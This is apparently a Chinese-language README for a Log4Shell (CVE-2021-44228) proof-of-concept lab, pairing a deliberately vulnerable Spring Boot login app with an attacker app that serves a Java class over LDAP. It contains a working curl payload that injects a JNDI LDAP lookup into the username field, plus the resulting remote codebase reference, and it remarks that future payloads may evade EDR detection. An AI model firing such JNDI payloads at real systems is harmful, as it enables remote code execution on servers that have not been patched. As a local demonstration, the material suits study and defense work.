
log4j2 Log4Shell CVE-2021-44228 概念验证
一个简单的 Spring Boot 应用程序,提供一个包含用户名和密码的登录页面。当通过 POST 提交到 / 时,它会记录用户名。应用程序并不需要记录用户提供的任何输入。启用使用了存在漏洞的 log4j2 版本的访问日志就足够了。
如何运行:
cd exploitable
../mvnw -q spring-boot:run
默认情况下,它监听 8080 端口。如果在浏览器中访问 http://localhost:8080/,你应该会看到类似这样的内容:
在 pom.xml 中,你会注意到一个 JVM 属性:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
这在旧版本的 JDK 中不是必需的。在 JDK 11.0.1、8u191、7u201 和 6u211 中,默认值已改为 false。即使没有这个属性,应用程序也容易受到初始 LDAP 请求的攻击,这些请求可以窃取敏感数据。

黑客应用程序,有两个用途:
如何运行:
cd hacker
../mvnw -q spring-boot:run
在 pom.xml 中,你可以更改发送给易受攻击应用程序的默认负载:
--class=SayHello 是默认值,这意味着它发送 SayHello.class 作为负载。
向漏洞利用应用程序发送 curl 请求,在用户提供的输入之一(用户名)中引用黑客的 LDAP 服务器:
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
在易受攻击的应用程序控制台中,你应该会看到类似这样的内容:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389 发起 LDAP 请求dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.class 字节getObjectInstance 方法在初始 LDAP 请求以及可能的漏洞利用 Java 类下载之后,漏洞利用不需要派生进程或与互联网建立任何额外的连接。通常,这类漏洞利用很容易被 EDR 产品等检测到。我怀疑新的漏洞利用负载将以 Java 原生实现,以逃避检测。